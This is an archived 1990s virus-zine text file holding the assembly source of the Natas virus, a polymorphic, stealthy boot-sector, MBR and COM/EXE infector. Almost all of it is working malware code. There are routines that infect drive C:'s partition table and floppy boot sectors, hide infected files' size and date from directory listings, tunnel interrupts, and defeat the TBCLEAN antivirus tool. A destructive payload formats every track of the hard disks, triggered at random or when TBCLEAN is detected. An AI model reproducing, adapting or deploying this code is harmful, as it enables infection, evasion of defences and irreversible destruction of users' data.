home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-12.zip / 40HEX-12.005 < prev    next >
Text File  |  1993-12-04  |  106KB  |  2,588 lines

  1. ;Natas Virus
  2. ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
  3. ;Tunnels
  4. ;Does other stuff
  5. ;2 files -- v1eng.asm = virus  eng.asm = Engine
  6.  
  7.  
  8. ----------------<<v1eng.asm>>--------------------------------------------------
  9.  
  10. .model  tiny
  11. .code
  12.  
  13. file_size       equ     file_end - v_start
  14. sect_size       equ     (decrypt - v_start + 511) / 512
  15. para_size       equ     (v_end - v_start + 15) / 16
  16. kilo_size       equ     (v_end - v_start + 1023) / 1024
  17.  
  18. find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
  19. find_13         equ     tracer_13 - (trace_mode + 1)
  20. find_15         equ     tracer_15 - (trace_mode + 1)
  21. find_21         equ     tracer_21 - (trace_mode + 1)
  22. find_40         equ     tracer_40 - (trace_mode + 1)
  23. step_21         equ     tracer_step_21 - (trace_mode + 1)
  24.  
  25. loader_size     equ     loader_end - loader
  26.  
  27. no_hook_21      equ     new_13_next - (hook_21 + 1)
  28. yes_hook_21     equ     check_21 - (hook_21 + 1)
  29.  
  30. boot            equ     0
  31. file            equ     1
  32.  
  33. years           equ     100 shl 1
  34.  
  35.  
  36. v_start:        jmp     decrypt
  37.                 
  38.                 ; push    cs
  39.                 ; pop     ds
  40.                 ; call    copy_ints
  41.                 dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
  42.                 mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
  43.                 mov     ds:origin,al            ; (0=boot) remeber host
  44.                 mov     es,ax                   ; ES=0
  45.                 pop     di
  46.                 sub     di,3                    ; address of loader in boot
  47.                 push    ax di                   ; save return address 0:xxxx
  48.                 mov     si,offset boot_code
  49.                 call    move_boot_code1         ; copy and decode boot code
  50.                 mov     al,13h
  51.                 mov     dx,offset new_13
  52.                 call    set_int                 ; hook int 13h
  53.                 call    inf_hard                ; infect drive C:
  54.                 test    byte ptr ds:load_head,dl ; DL=80h drive C:?
  55.                 je      boot_retf
  56.                 mov     ax,1ffh
  57.                 call    random                  ; time to activate?
  58.                 jne     boot_retf
  59.                 jmp     kill_disk
  60.  
  61. boot_retf:      retf                            ; return to boot sector
  62.                 
  63. ;=====( Copy boot code and (en/de)crypt it )=================================;
  64.  
  65. move_boot_code1:mov     ah,ds:[si - 1]          ; get key
  66. move_boot_code: mov     cx,loader_size
  67.                 cld
  68. move_boot_loop: lodsb
  69.                 xor     al,ah                   ; code/decode
  70.                 rol     ah,1
  71.                 stosb
  72.                 loop    move_boot_loop
  73.                 retn
  74.                 
  75. ;=====( Code that was in boot sector before infection )======================;
  76.  
  77. boot_code_key   db      ?
  78. boot_code:      db      loader_size dup(?)
  79.  
  80. ;=====( Gets inserted into infected Boot sectors/MBRs )======================;
  81.  
  82. loader:         call    $ + 3
  83.                 mov     di,40h
  84.                 mov     ds,di
  85.                 sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
  86.                 mov     ax,ds:[di-(40h-13h)]
  87.                 mov     cl,0ah
  88.                 ror     ax,cl                   ; get TOM address
  89.                 mov     es,ax
  90.                 mov     ax,200h + sect_size
  91.                 xor     bx,bx
  92.                 mov     cx,0
  93. load_sect       =       $ - 2
  94.                 mov     dx,0
  95. load_head       =       $ - 2
  96.                 int     13h                     ; read code into memory
  97.                 jb      load_fail
  98.                 push    es bx                   ; address of high code
  99.                 retf
  100. load_fail:      int     18h
  101. loader_end:
  102.  
  103. ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
  104.  
  105. copy_ints:      push    ds
  106.                 xor     ax,ax
  107.                 mov     ds,ax                   ; segment 0
  108.                 mov     si,13h * 4h
  109.                 mov     di,offset int_13
  110.                 push    si si
  111.                 movsw
  112.                 movsw                           ; int 13h to int_13
  113.                 pop     si
  114.                 movsw
  115.                 movsw                           ; int 13h to dos_13
  116.                 mov     si,15h * 4h
  117.                 movsw
  118.                 movsw                           ; int 15h to int_15
  119.                 pop     si                      ; address of int 13h's IVT
  120.                 cmp     byte ptr ds:[475h],al   ; any hard disks?
  121.                 je      copy_int_40
  122.                 mov     si,40h * 4h
  123. copy_int_40:    movsw
  124.                 movsw                           ; copy int 13h/40h to int_40
  125.                 mov     si,21h * 4h
  126.                 movsw
  127.                 movsw                           ; int 21h to int_21
  128.                 pop     ds
  129.                 retn
  130.  
  131. ;=====( get interrupt address )==============================================;
  132.  
  133. get_int:        push    ax
  134.                 xor     ah,ah
  135.                 rol     ax,1
  136.                 rol     ax,1
  137.                 xchg    bx,ax
  138.                 xor     ax,ax
  139.                 mov     es,ax
  140.                 les     bx,es:[bx]              ; get int address
  141.                 pop     ax
  142.                 retn
  143.  
  144. ;=====( Set interrupt address )==============================================;
  145.  
  146. set_int:        push    ax bx ds
  147.                 xor     ah,ah
  148.                 rol     ax,1
  149.                 rol     ax,1
  150.                 xchg    ax,bx
  151.                 xor     ax,ax
  152.                 push    ds
  153.                 mov     ds,ax
  154.                 mov     ds:[bx],dx
  155.                 pop     ds:[bx + 2]
  156.                 pop     ds bx ax
  157.                 retn
  158.                 
  159.  
  160. push_all:       pop     cs:push_pop_ret
  161.                 pushf
  162.                 push    ax bx cx dx bp si di ds es
  163.                 mov     bp,sp
  164. push_pop_jmp:   jmp     cs:push_pop_ret
  165.  
  166. pop_all:        pop     cs:push_pop_ret
  167.                 pop     es ds di si bp dx cx bx ax
  168.                 popf
  169.                 jmp     push_pop_jmp
  170.  
  171. ;=====( Infect Drive C: )====================================================;
  172.  
  173. inf_hard:       push    cs cs
  174.                 pop     es ds
  175.                 mov     ax,201h
  176.                 mov     bx,offset disk_buff
  177.                 mov     cx,1
  178.                 mov     dx,80h
  179.                 call    call_13                 ; read MBR of drive C:
  180.                 jb      cant_inf_hard
  181.                 cmp     ds:[bx.pt_start_head],ch ; Jackal?
  182.                 je      cant_inf_hard
  183.                 mov     cx,ds:[bx.pt_end_sector_track]
  184.                 and     cx,0000000000111111b    ; get sector count
  185.                 sub     cx,sect_size
  186.                 jbe     cant_inf_hard
  187.                 cmp     cl,1                    ; too few sectors?
  188.                 jbe     cant_inf_hard
  189.                 call    copy_loader             ; copy loader into MBR
  190.                 jb      cant_inf_hard
  191.                 push    bx
  192.                 mov     ax,300h + sect_size
  193.                 xor     bx,bx
  194.                 call    call_13                 ; write code to hidden sectors
  195.                 pop     bx
  196.                 jb      cant_inf_hard
  197.                 mov     ax,301h
  198.                 mov     cl,1
  199.                 call    call_13                 ; write infected MBR
  200. cant_inf_hard:  retn   
  201.  
  202. ;=====( Copy Loader into disk_buff (BX) )====================================;
  203.  
  204. copy_loader:    push    cx dx
  205.                 cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
  206.                 jne     copy_load_no
  207.                 mov     di,offset boot_code
  208.                 mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
  209.                 and     dl,80h                          ; Drive C: or A:
  210.                 mov     ds:[di+load_head-boot_code],dx  ; save head/disk
  211.                 call    find_boot               ; find code/already infected?
  212.                 je      copy_load_no
  213.                 call    random_1                ; get random key
  214.                 mov     ds:[di - 1],ah          ; save key at boot_code_key
  215.                 push    si
  216.                 call    move_boot_code          ; save boot code and encrypt
  217.                 mov     si,di                   ; offset of loader
  218.                 pop     di                      ; boot code pointer
  219.                 mov     cx,loader_size
  220.                 rep     movsb                   ; copy loader into boot sect
  221.                 clc
  222.                 mov     al,0
  223.                 org     $ - 1
  224. copy_load_no:   stc
  225.                 pop     dx cx
  226.                 retn   
  227.                 
  228. ;=====( Find start of boot sector's code )===================================;
  229.  
  230. find_boot:      mov     si,bx
  231.                 cld
  232.                 lodsb                           ; get 1st instruction
  233.                 push    ax
  234.                 lodsw                           ; Jump displacement (if jump)
  235.                 xchg    cx,ax
  236.                 pop     ax
  237.                 cmp     al,0ebh                 ; Short jump?
  238.                 jne     find_boot_jump
  239.                 xor     ch,ch                   ; 8bit jump
  240.                 dec     si
  241.                 jmp     find_boot_add
  242. find_boot_jump: cmp     al,0e9h                 ; Near Jump?
  243.                 je      find_boot_add
  244. find_boot_noadd:xor     cx,cx                   ; No displacement
  245.                 mov     si,bx
  246. find_boot_add:  add     si,cx                   ; si=start of boot code
  247.                 cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
  248.                                                 ; jump out of range?
  249.                 jnb     find_boot_noadd
  250.                 cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
  251.                 jne     find_boot_ret
  252.                 cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
  253. find_boot_ret:  retn
  254.  
  255. ;=====( Disable TBCLEAN )====================================================;
  256.  
  257. anti_tbclean:   xor     ax,ax
  258.                 pushf
  259.                 pop     dx
  260.                 and     dh,not 1                ; TF off
  261.                 push    dx dx
  262.                 popf
  263.                 push    ss
  264.                 pop     ss
  265.                 pushf                           ; Not trapped
  266.                 pop     dx
  267.                 test    dh,1                    ; TF set?
  268.                 pop     dx
  269.                 je      anti_tb_ret
  270.                 push    es
  271.                 xor     bp,bp
  272.                 mov     cx,ss
  273.                 cli
  274.                 mov     ss,bp                   ; segment 0
  275.                 les     di,ss:[bp+1h*4h]        ; address of int 1h
  276.                 mov     ss,cx
  277.                 sti
  278.                 mov     al,0cfh
  279.                 cld
  280.                 stosb                           ; IRET -> Int 1h
  281.                 pop     es
  282.                 push    dx
  283.                 popf
  284. anti_tb_ret:    xchg    bp,ax                   ; save result
  285.                 retn
  286.  
  287. ;=====( Swap jump into DOS' int 13h )========================================;
  288.  
  289. swap_13:        call    push_all
  290.                 mov     si,offset jump_code_13
  291.                 les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
  292.                 jmp     swap_code
  293.  
  294. ;=====( Swap jump into DOS' int 21h )========================================;
  295.  
  296. swap_21:        call    push_all
  297.                 mov     si,offset jump_code_21
  298.                 les     di,cs:[si+int_21-jump_code_21]
  299. swap_code:      push    cs
  300.                 pop     ds
  301.                 mov     cx,5
  302.                 cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
  303.                 je      swap_end
  304.                 cld
  305. swap_loop:      lodsb
  306.                 xchg    al,es:[di]
  307.                 mov     ds:[si-1],al
  308.                 inc     di
  309.                 loop    swap_loop
  310. swap_end:       call    pop_all
  311.                 retn
  312.  
  313. ;=====( Find original interrupt entry points )===============================;
  314.  
  315. find_ints:      call    copy_ints               ; get interrupt addresses
  316.                 mov     ah,52h
  317.                 int     21h
  318.                 mov     ax,es:[bx-2]
  319.                 mov     ds:dos_seg,ax           ; 1st MCB segment
  320.                 mov     al,1h
  321.                 call    get_int                 ; get address of int 1h
  322.                 push    bx es
  323.                 mov     dx,offset tracer
  324.                 call    set_int                 ; hook int 1h
  325.                 pushf
  326.                 pop     si
  327.                 mov     di,offset trace_mode
  328.                 mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
  329.                                                       ; and BIOS
  330.                 mov     ah,1h
  331.                 call    si_tf                   ; set TF
  332.                 call    call_13
  333.                 mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
  334.                 mov     ah,0c0h
  335.                 call    si_tf                   ; set TF
  336.                 pushf
  337.                 call    ds:int_15   
  338.                 mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
  339.                 mov     ah,30h
  340.                 call    si_tf                   ; set TF
  341.                 call    call_21
  342.                 mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
  343.                 mov     ah,1
  344.                 call    si_tf                   ; set TF
  345.                 call    call_40
  346.                 and     si,not 100h
  347.                 push    si
  348.                 popf                            ; disable Trapping
  349.                 pop     ds dx
  350.                 mov     al,1
  351.                 call    set_int                 ; unhook int 1h
  352.                 retn
  353.  
  354. ;=====( Set TF in SI, then set flags to SI )=================================;
  355.  
  356. si_tf:          or      si,100h
  357.                 push    si
  358.                 popf
  359.                 retn
  360.  
  361. ;=====( Tracing/Tunneling )==================================================;
  362.  
  363. tracer:         push    ds
  364.                 push    cs
  365.                 pop     ds
  366.                 mov     ds:old_di,di
  367.                 mov     di,offset old_ax
  368.                 mov     ds:[di],ax
  369.                 mov     ds:[di+old_bx-old_ax],bx
  370.                 mov     ds:[di+old_cx-old_ax],cx
  371.                 mov     ds:[di+old_dx-old_ax],dx
  372.                 pop     ds:[di-(old_ax-old_ds)]
  373.                 pop     bx cx dx                ; get IP, CS and Flags
  374.                 mov     ax,cs
  375.                 cmp     ax,cx                   ; In our CS?
  376.                 jne     $
  377. trace_mode      =       byte ptr $ - 1
  378.                 jmp     tracer_iret
  379.  
  380. tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
  381.                 jnb     tracer_cont
  382.                 mov     di,offset dos_13
  383.                 mov     ds:trace_mode,find_13   ; find it in BIOS next
  384.                 jmp     tracer_save_f
  385.  
  386. tracer_21:      cmp     cx,1234h                ; In DOS code?
  387. dos_seg         =       word ptr $ - 2
  388.                 jnb     tracer_cont
  389.                 mov     di,offset int_21
  390. tracer_save:    and     dh,not 1                ; TF off
  391. tracer_save_f:  mov     ds:[di],bx
  392.                 mov     ds:[di + 2],cx          ; save address of int
  393.                 jmp     tracer_cont
  394.  
  395. tracer_15:      mov     di,offset int_15
  396.                 jmp     tracer_bios
  397.  
  398. tracer_40:      mov     di,offset int_40
  399.                 jmp     tracer_bios
  400.                 
  401. tracer_13:      mov     di,offset int_13
  402. tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
  403.                 jb      tracer_cont
  404.                 cmp     ch,0f4h                 ; Above BIOS?
  405.                 jb      tracer_save
  406.                 jmp     tracer_cont
  407.  
  408. tracer_step_21: dec     ds:inst_count           ; down counter
  409.                 jne     tracer_cont
  410.                 push    dx
  411.                 mov     al,1
  412.                 lds     dx,ds:int_1             ; get int 1h address
  413.                 call    set_int
  414.                 call    swap_21                 ; insert int 21h jump
  415.                 pop     dx
  416.                 and     dh,not 1h               ; TF off
  417.  
  418. tracer_cont:    test    dh,1                    ; TF on?
  419.                 je      tracer_iret
  420. get_inst:       mov     ds,cx                   ; instruction CS
  421.                 xor     di,di
  422. get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
  423.                 cmp     al,0f0h                 ; LOCK
  424.                 je      skip_prefix
  425.                 cmp     al,0f2h                 ; REPNE
  426.                 je      skip_prefix
  427.                 cmp     al,0f3h                 ; REPE?
  428.                 je      skip_prefix
  429.                 cmp     al,9ch                  ; PUSHF or above?
  430.                 jae     emulate_pushf
  431.                 and     al,11100111b            ; 26,2e,36,3e = 26
  432.                 cmp     al,26h                  ; Segment Prefix?
  433.                 jne     tracer_iret
  434. skip_prefix:    inc     di
  435.                 jmp     get_inst1
  436.  
  437. emulate_pushf:  jne     emulate_popf
  438.                 and     dh,not 1                ; TF off
  439.                 push    dx                      ; fake PUSHF
  440. emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
  441. emulate_tf:     or      dh,1                    ; TF on
  442.                 jmp     get_inst
  443.  
  444. emulate_popf:   cmp     al,9dh                  ; POPF?
  445.                 jne     emulate_iret
  446.                 pop     dx                      ; fake POPF
  447.                 jmp     emulate_next
  448.  
  449. emulate_iret:   cmp     al,0cfh                 ; IRET?
  450.                 jne     emulate_int
  451.                 pop     bx cx dx                ; fake IRET
  452.                 jmp     emulate_tf
  453.  
  454. emulate_int:    cmp     al,0cdh                 ; Int xx
  455.                 je      emulate_int_xx
  456.                 cmp     al,0cch                 ; Int 3?
  457.                 mov     ah,3
  458.                 je      emulate_int_x
  459.                 cmp     al,0ceh                 ; Into?
  460.                 mov     ah,4
  461.                 jne     tracer_iret
  462.                 test    dh,8                    ; OF set?
  463.                 je      tracer_iret
  464. emulate_int_x:  dec     bx                      ; [bx+di+2-1]
  465. emulate_int_xx: and     dh,not 1                ; TF off
  466.                 lea     bx,ds:[bx + di + 2]     ; get return address
  467.                 push    dx cx bx                ; fake Int
  468.                 mov     al,ah                
  469.                 push    es
  470.                 call    get_int                 ; get interrupt address
  471.                 mov     cx,es
  472.                 pop     es
  473.                 jmp     emulate_tf
  474.  
  475. tracer_iret:    push    dx cx bx                ; save flags, cs & ip
  476.                 mov     ax,0
  477. old_ds          =       word ptr $ - 2
  478.                 mov     ds,ax
  479.                 mov     ax,0
  480. old_ax          =       word ptr $ - 2
  481.                 mov     bx,0
  482. old_bx          =       word ptr $ - 2
  483.                 mov     cx,0
  484. old_cx          =       word ptr $ - 2
  485.                 mov     dx,0
  486. old_dx          =       word ptr $ - 2
  487.                 mov     di,0
  488. old_di          =       word ptr $ - 2
  489.                 iret
  490.  
  491. ;=====( file infections come here after decryption )=========================;
  492.  
  493. file_start:     push    ds                      ; save PSP segment
  494.                 call    $ + 3
  495.                 pop     si
  496.                 sub     si,offset $ - 1
  497.                 call    anti_tbclean            ; disable TBCLEAN
  498.                 or      bp,bp                   ; TBCLEAN active?
  499.                 jne     go_res
  500.                 mov     ah,30h
  501.                 mov     bx,-666h
  502.                 int     21h
  503.                 cmp     al,3h                   ; must be DOS 3+
  504.                 jb      jump_host
  505. go_res:         mov     ax,es
  506.                 dec     ax
  507.                 mov     ds,ax
  508.                 xor     di,di
  509.                 or      bp,bp                   ; TBCLEAN here?
  510.                 jne     dont_check_mcb
  511.                 cmp     byte ptr ds:[di],'Z'    ; Last Block?
  512.                 jne     jump_host
  513. dont_check_mcb: mov     ax,para_size
  514.                 sub     ds:[di + 3],ax          ; from MCB
  515.                 sub     ds:[di + 12h],ax        ; from PSP
  516.                 mov     es,ds:[di + 12h]        ; get memory address
  517.                 mov     ds,di
  518.                 sub     word ptr ds:[413h],kilo_size ; from int 12h
  519.                 mov     cx,jump_code_13-v_start
  520.                 cld
  521.                 rep     movs byte ptr es:[di],byte ptr cs:[si]  
  522.                 mov     ax,offset high_code
  523.                 push    es ax
  524.                 retf
  525.  
  526. jump_host:      push    cs
  527.                 pop     ds
  528.                 pop     es                      ; PSP segment
  529.                 lea     si,ds:[si + header]     ; get address of header
  530.                 mov     ax,ds:[si]              ; get 1st instruction
  531.                 cmp     ax,'ZM'                 ; EXE?
  532.                 je      jump_2_exe
  533.                 cmp     ax,'MZ'                 ; EXE?
  534.                 je      jump_2_exe
  535.                 mov     cx,18h / 2
  536.                 mov     di,100h
  537.                 push    es di
  538.                 cld
  539.                 rep     movsw                   ; repair .COM file
  540.                 push    es
  541.                 pop     ds
  542.                 xchg    ax,cx
  543.                 retf
  544.                 
  545. jump_2_exe:     mov     ax,es
  546.                 add     ax,10h
  547.                 add     ds:[si.eh_cs],ax
  548.                 add     ax,ds:[si.eh_ss]        ; get SS/CS
  549.                 push    es
  550.                 pop     ds
  551.                 cli
  552.                 mov     ss,ax
  553.                 mov     sp,cs:[si.eh_sp]
  554.                 xor     ax,ax
  555.                 sti
  556.                 jmp     dword ptr cs:[si.eh_ip]
  557.  
  558.  
  559. high_code:      push    cs
  560.                 pop     ds
  561.                 mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
  562.                 mov     ax,2
  563.                 call    random                  ; 1 in 3 chance of no stealth
  564.                                                 ; on special programs
  565.                 mov     ds:check_special,al
  566.                 mov     ds:hook_21,no_hook_21   ; dont hook int 21h
  567.                 mov     al,0eah
  568.                 stosb                           ; store at jump_code_13
  569.                 mov     ds:[di+4],al
  570.                 mov     ax,offset new_13
  571.                 stosw
  572.                 mov     word ptr ds:[di+3],offset new_21
  573.                 mov     ds:[di],cs
  574.                 mov     ds:[di+5],cs
  575.                 push    di
  576.                 call    find_ints               ; trace interrupts
  577.                 pop     di
  578.                 push    cs
  579.                 pop     ds
  580.                 mov     ax,ds:dos_seg
  581.                 cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
  582.                                                 ; found DOS' int 13h?
  583.                 ja      call_inf_hard
  584.                 cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
  585.                                                 ; found DOS' int 21h?
  586.                 ja      call_inf_hard
  587.                 call    swap_13
  588.                 call    swap_21                 ; insert jumps into DOS
  589. call_inf_hard:  call    inf_hard                ; infect drive C:
  590.                 or      bp,bp                   ; ZF -> No TBCLEAN
  591.                 mov     si,bp                   ; SI=0 if goto jump_host
  592.                 jne     kill_disk
  593.                 jmp     jump_host
  594.  
  595. kill_disk:      xor     bx,bx
  596.                 mov     es,bx                   ; table to use for format
  597.                 mov     dl,80h                  ; Drive C:
  598. kill_next_disk: xor     dh,dh                   ; head 0
  599. kill_next_track:xor     cx,cx                   ; track 0             
  600. kill_format:    mov     ax,501h
  601.                 call    call_disk               ; format track
  602.                 and     cl,11000000b
  603.                 inc     ch                      ; next track low
  604.                 jne     kill_format
  605.                 add     cl,40h                  ; next track high
  606.                 jne     kill_format
  607.                 xor     ah,ah
  608.                 int     13h                     ; reset disk
  609.                 inc     dh                      ; next head
  610.                 cmp     dh,10h
  611.                 jb      kill_next_track
  612.                 inc     dx                      ; next drive
  613.                 jmp     kill_next_disk
  614.  
  615. ;=====( Interrupt 13h handler )==============================================;
  616.  
  617. new_13:         jmp     $
  618. hook_21         =       byte ptr $ - 1
  619.  
  620. check_21:       call    push_all
  621.                 mov     al,21h
  622.                 call    get_int                 ; get int 21h address
  623.                 mov     ax,es
  624.                 push    cs cs
  625.                 pop     ds es
  626.                 cmp     ax,800h                 ; too high?
  627.                 ja      cant_hook_21
  628.                 mov     di,offset int_21 + 2
  629.                 std
  630.                 xchg    ax,ds:[di]              ; swap addresses
  631.                 scasw                           ; did it change?
  632.                 je      cant_hook_21
  633.                 mov     ds:[di],bx
  634.                 mov     al,21h
  635.                 mov     dx,offset new_21
  636.                 call    set_int                 ; hook int 21h
  637.                 mov     ds:hook_21,no_hook_21
  638. cant_hook_21:   call    pop_all
  639.  
  640. new_13_next:    cmp     ah,2h                   ; Read?
  641.                 jne     jump_13
  642.                 cmp     cx,1                    ; track 0, sector 1?
  643.                 jne     jump_13
  644.                 or      dh,dh                   ; head 0?
  645.                 je      hide_boot
  646. jump_13:        call    call_dos_13
  647.                 retf    2h
  648.  
  649.  
  650. hide_boot:      call    call_dos_13             ; read boot sector
  651.                 call    push_all
  652.                 jb      hide_boot_err
  653.                 push    es cs
  654.                 pop     es ds
  655.                 mov     cx,100h
  656.                 mov     si,bx
  657.                 mov     di,offset disk_buff
  658.                 mov     bx,di
  659.                 cld
  660.                 rep     movsw                   ; copy boot sector to buffer
  661.                 push    cs
  662.                 pop     ds
  663.                 call    find_boot               ; find start/already infected?
  664.                 jne     inf_boot
  665.                 mov     ax,201h
  666.                 mov     cx,ds:[si+load_sect-loader]
  667.                 mov     dh,byte ptr ds:[si+(load_head+1)-loader]
  668.                                                 ; get code location
  669.                 call    call_disk               ; read virus code
  670.                 jb      hide_boot_err
  671.                 mov     ax,ds:[0]
  672.                 cmp     ds:[bx],ax              ; verify infection
  673.                 jne     hide_boot_err
  674.                 mov     di,ss:[bp.reg_bx]
  675.                 mov     es,ss:[bp.reg_es]       ; get caller's buffer
  676.                 sub     si,bx                   ; displacement into boot sect.
  677.                 add     di,si                   ; address of loader
  678.                 lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
  679.                 call    move_boot_code1         ; hide infection
  680. hide_boot_err:  call    pop_all
  681.                 retf    2h
  682.  
  683. inf_boot:       cmp     dl,80h                  ; hard disk?
  684.                 jnb     hide_boot_err
  685.                 mov     ax,301h
  686.                 mov     cx,1
  687.                 call    call_disk               ; Write boot sector to disk
  688.                                                 ; CY -> Write-Protected
  689.                 jb      hide_boot_err
  690.                 mov     si,dx                   ; save drive #
  691.                 mov     di,bx
  692.                 mov     ax,ds:[di.bs_sectors]   ; get number of sectors
  693.                 mov     cx,ds:[di.bs_sectors_per_track]
  694.                 sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
  695.                 mov     ds:hide_count,cx
  696.                 xor     dx,dx
  697.                 or      ax,ax                   ; error?
  698.                 je      hide_boot_err
  699.                 jcxz    hide_boot_err
  700.                 div     cx
  701.                 or      dx,dx                   ; even division?
  702.                 jne     hide_boot_err
  703.                 mov     bx,ds:[di.bs_heads]     ; get number of heads
  704.                 or      bx,bx
  705.                 je      hide_boot_err
  706.                 div     bx
  707.                 or      dx,dx
  708.                 jne     hide_boot_err
  709.                 dec     ax
  710.                 mov     ch,al                   ; last track
  711.                 mov     cl,1                    ; sector 1
  712.                 dec     bx
  713.                 mov     dx,si                   ; drive
  714.                 mov     dh,bl                   ; last head
  715.                 mov     bx,di                   ; offset disk buffer
  716.                 call    copy_loader             ; Copy loader into Boot sector
  717.                 jb      hide_boot_err
  718.                 mov     ax,300h + sect_size
  719.                 xor     bx,bx
  720.                 call    call_disk
  721.                 jb      hide_boot_err
  722.                 mov     ax,301h
  723.                 mov     bx,offset disk_buff
  724.                 mov     cx,1
  725.                 xor     dh,dh
  726.                 call    call_disk               ; write boot sector to disk
  727.                 mov     bx,ss:[bp.reg_bx]
  728.                 mov     ds,ss:[bp.reg_es]       ; get caller's buffer
  729.                 sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
  730. hide_count      =       word ptr $ - 2
  731.                 jmp     hide_boot_err
  732.  
  733. ;=====( Interrupt 21h handler )==============================================;
  734.  
  735. new_21:         cli
  736.                 mov     cs:int_21_ss,ss
  737.                 mov     cs:int_21_sp,sp         ; save stack pointers
  738.                 push    cs
  739.                 pop     ss
  740.                 mov     sp,offset temp_stack    ; allocate stack
  741.                 sti
  742.                 call    push_all
  743.                 in      al,21h
  744.                 or      al,2                    ; disable keyboard
  745.                 out     21h,al
  746.                 push    cs
  747.                 pop     ds
  748.                 mov     di,offset new_24
  749.                 mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
  750.                 mov     al,24h
  751.                 call    get_int                 ; get address of int 24h
  752.                 mov     word ptr ds:[di-(new_24-int_24)],bx
  753.                 mov     word ptr ds:[di-(new_24-(int_24+2))],es
  754.                 mov     word ptr ds:[di],03b0h  ; MOV AL,3
  755.                 mov     byte ptr ds:[di+2],0cfh ; IRET
  756.                 mov     dx,di
  757.                 call    set_int                 ; hook int 24h
  758.                 call    pop_all
  759.                 call    swap_21                 ; remove jump from int 21h
  760.                 call    push_all
  761.                 cmp     ah,30h                  ; get DOS version?
  762.                 jne     is_dir_fcb
  763.                 add     bx,666h                 ; looking for us?
  764.                 jnz     is_dir_fcb
  765.                 mov     ss:[bp.reg_ax],bx       ; set DOS version=0
  766.                 mov     ss:[bp.reg_bx],bx
  767.                 jmp     retf_21
  768.  
  769. is_dir_fcb:     cmp     ah,11h
  770.                 jb      is_dir_asciiz
  771.                 cmp     ah,12h
  772.                 ja      is_dir_asciiz
  773.                 call    call_21                 ; do find
  774.                 or      al,al                   ; error?
  775.                 je      dir_fcb
  776.                 jmp     jump_21
  777.  
  778. dir_fcb:        call    save_returns            ; save AX
  779.                 call    get_psp                 ; get current PSP
  780.                 mov     ax,'HC'
  781.                 scasw                           ; CHKDSK?
  782.                 jne     dir_fcb_ok
  783.                 mov     ax,'DK'
  784.                 scasw
  785.                 jne     dir_fcb_ok
  786.                 mov     ax,'KS'
  787.                 scasw
  788.                 je      retf_21
  789. dir_fcb_ok:     call    get_dta                 ; get DTA address
  790.                 xor     di,di
  791.                 cmp     byte ptr ds:[bx],-1     ; extended FCB?
  792.                 jne     dir_fcb_next
  793.                 mov     di,7h                   ; fix it up
  794. dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
  795. dir_hide:       call    is_specialfile          ; no stealth if helper
  796.                 je      retf_21
  797.                 cmp     byte ptr ds:[si],years  ; infected?
  798.                 jc      retf_21
  799.                 sub     byte ptr ds:[si],years  ; restore old date
  800.                 les     ax,ds:[bx+di.ds_size]   ; get size of file
  801.                 mov     cx,es
  802.                 sub     ax,file_size            ; hide size increase
  803.                 sbb     cx,0
  804.                 jc      retf_21
  805.                 mov     word ptr ds:[bx+di.ds_size],ax
  806.                 mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
  807. retf_21:        call    undo_24                 ; unhook int 24h
  808.                 call    pop_all
  809.                 call    swap_21                 ; insert jump
  810.                 cli
  811.                 mov     ss,cs:int_21_ss
  812.                 mov     sp,cs:int_21_sp
  813.                 sti
  814.                 retf    2
  815.  
  816.                 
  817. is_dir_asciiz:  cmp     ah,4eh
  818.                 jb      is_lseek
  819.                 cmp     ah,4fh
  820.                 ja      is_lseek
  821.                 call    call_21
  822.                 jnc     dir_asciiz    
  823. go_jump_21:     jmp     jump_21
  824.  
  825. dir_asciiz:     call    save_returns            ; save AX and flags
  826.                 call    get_dta                 ; get dta address
  827.                 mov     di,-3
  828.                 lea     si,ds:[bx.dta_date+1]   ; get year address
  829.                 jmp     dir_hide
  830.  
  831. is_lseek:       cmp     ax,4202h                ; Lseek to end?
  832.                 jne     is_date
  833.                 call    call_21_file
  834.                 jb      go_jump_21
  835.                 call    get_dcb                 ; get DCB address
  836.                 jbe     lseek_exit
  837.                 call    is_specialfile          ; dont hide true size from
  838.                                                 ; helpers
  839.                 je      lseek_exit
  840.                 sub     ax,file_size
  841.                 sbb     dx,0                    ; hide virus at end
  842.                 mov     word ptr ds:[di.dcb_pos],ax
  843.                 mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
  844. lseek_exit:     clc
  845.                 call    save_returns            ; save AX/flags
  846.                 mov     ss:[bp.reg_dx],dx
  847.                 jmp     retf_21
  848.  
  849. is_date:        cmp     ax,5700h                ; get date?
  850.                 je      get_date
  851.                 cmp     ax,5701h                ; set date?
  852.                 jne     is_read
  853.                 call    get_dcb
  854.                 jbe     date_err
  855.                 cmp     dh,years                ; already setting 100 years?
  856.                 jnb     date_err
